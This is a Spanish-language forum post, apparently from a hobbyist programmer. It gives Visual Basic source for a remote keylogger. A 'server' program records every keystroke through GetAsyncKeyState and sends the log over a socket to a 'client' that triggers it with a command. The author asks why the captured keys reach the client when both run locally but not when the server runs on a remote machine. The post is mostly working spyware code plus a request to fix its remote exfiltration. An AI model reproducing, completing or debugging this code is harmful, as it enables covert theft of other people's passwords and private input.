Servidor:
Código:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
Dim pulsacion As String
For X% = 0 To 255 'para los 255 códigos ascii
If GetAsyncKeyState(X%) Then 'si se ha pulsado una tecla
pulsacion = ObtenerTecla(X%) 'obtener tecla pulsada, la funcion obtener tecla es una funcion aparte para obtener las teclas especiales
Text1.Text = Text1.Text & pulsacion 'añadir tecla a teclas pulsadas
Text1.Refresh
End If
Next
Call Command1_Click
If Not ws.State = sckConnected Then
Timer1.Enabled = False
End If
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
end sub
Private Sub Command1_Click()
ws.SendData "log|" & Text1.Text
Text1.Text = ""
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If datos = "Keylogg" Then
Timer1.Enabled = True
End If
Cliente:
Código:
Dim log As Variant
Dim datos As String
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos
log = Split(datos, "|")
Select Case log(0)
Case "log"
Text1.Text = Text1.Text & log(1)
End Select
End Sub
Private Sub Command1_Click()
ws.SendData "Keylogg"
End Sub
si habeis leido el codigo el servidor manda "log|" & text1.text, y al llegar al cliente lo separa x el pipe con split pero el problema es k al llegar en el textbox donde deberia de llegar las teclas capturadas solo llega la palabra "log"(lo capturado no llega) en cambio para detectar la ventana activa utilizo el mismo codigo y funciona de maravilla.
Otra cosa curiosa es k utilizando ese codigo ejecutando el server en mi propia makina funciona bien me llegan las teclas capturadas y no aparece la palabra "log" pero cuando lo ejecuto el servidor en una makina remota las tecllas capturadas no llegan y solo pone "log" es como si el split lo separase mal
¿alguien sabe por k se produce esto y cual es la solucion??
Me stoy volviendo lokoo